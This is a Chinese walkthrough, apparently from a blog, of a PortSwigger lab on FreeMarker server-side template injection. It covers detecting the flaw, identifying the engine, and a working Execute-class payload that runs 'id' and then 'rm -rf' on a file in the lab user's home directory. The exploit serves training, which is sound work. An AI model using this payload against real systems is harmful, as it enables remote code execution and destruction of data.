从业者-借助文档信息-服务端模板注入
# 实验室:借助文档信息的服务端模板注入
# 题目
此实验室容易受到服务端模板注入的攻击。若要解决实验室问题,请识别模板引擎,并阅读文档来确定如何执行任意代码,然后从 Carlos 的家目录中删除morale.txt
文件。
你可以使用以下凭据登录到自己的帐户:
content-manager:C0nt3ntM4n4g3r
提示
你应该尝试仅使用文档来解决本实验。但是,如果你真的被卡住了,你可以尝试通过 @albinowax 找到一个广为人知的漏洞,并用它来解决实验室问题。
- name: 实验室-从业者
desc: 借助文档信息的服务端模板注入 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-using-documentation
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
一个购物站点。
# 检测注入
使用题目中提供的用户名和密码进行登录。
这次提供的 用户名和密码 有点不太一样,但它们是没问题的。
登录之后,随便进入一个商品的详情页面,在底部可看到一个 “Edit template”(更改模板)的按钮,点击它。
原来这就是理论学习中提到的 “允许用户更改和提交模板”。
默认的模板中存在几个预设的表达式,它们是通过${}
来执行的。
这就省事了,直接注入${7*7}
,然后点击 “Preview”(预览)按钮。
在下方可以看到数学运算的结果49
,说明表达式被解析和执行了。
# 识别模板
就像理论学习中所说的,注入一个无效的表达式,看看是否能够产生错误信息。
注入${xxx}
并点击预览按钮,成功引发错误信息。在错误信息中识别到了关键字 “FreeMarker”,这是一个用于 Java 的模板引擎。
然后我找到了 FreeMarker 的官方文档,并找到了 “报告安全漏洞” 一栏:https://freemarker.apache.org/report-security-vulnerabilities.html (opens new window)
但这节内容并没有什么用......
另外,我还找到了中文版的文档:http://freemarker.foofun.cn/ (opens new window)
然后我又找到了 FreeMarker 的答疑栏目。第 23 条内容正好提到了 “允许用户上传模板时的安全隐患”。
真有趣。
然后我搜索如何用 FreeMarker 执行系统命令。
巧了,又找到 FreeMarker 的文档了。文档中提到,在表达式中执行命令的方式是:
${exec( "/usr/bin/ls" )}
哦?这么简单?
好嘛,报错了。这个载荷用不了。
然后我找到了 PortSwigger 研究服务端模板注入的文章,里面刚好展示了 FreeMarker 的注入载荷(直接剧透了!)。
本站也有翻译过后的译文,值得一读:点我阅读
在这期间,我还尝试注入以下载荷,成功获得了 FreeMarker 的版本号:2.3.29
。
${.version}
但没有什么卵用。
# 利用
PortSwigger 提供的注入载荷很巧妙,它利用了 FreeMarker 模板可以创建类 (opens new window)的功能:
<#assign word_wrapp = "com.acmee.freemarker.WordWrapperDirective"?new()>
<#assign word_wrapp_narrow = "com.acmee.freemarker.WordWrapperDirective"?new(40)>
2
3
而最终载荷是这样的,通过Execute
类创建一个可以执行系统命令的对象,然后用它来执行系统命令。
<#assign clincat="freemarker.template.utility.Execute"?new()> ${ clincat("id") }
注入载荷,成功执行id
命令并获得执行结果。
修改所执行的命令,删除目标文件。
<#assign clincat="freemarker.template.utility.Execute"?new()> ${ clincat("rm -rf /home/carlos/morale.txt") }
点击预览以解析表达式,命令执行成功。
实验完成。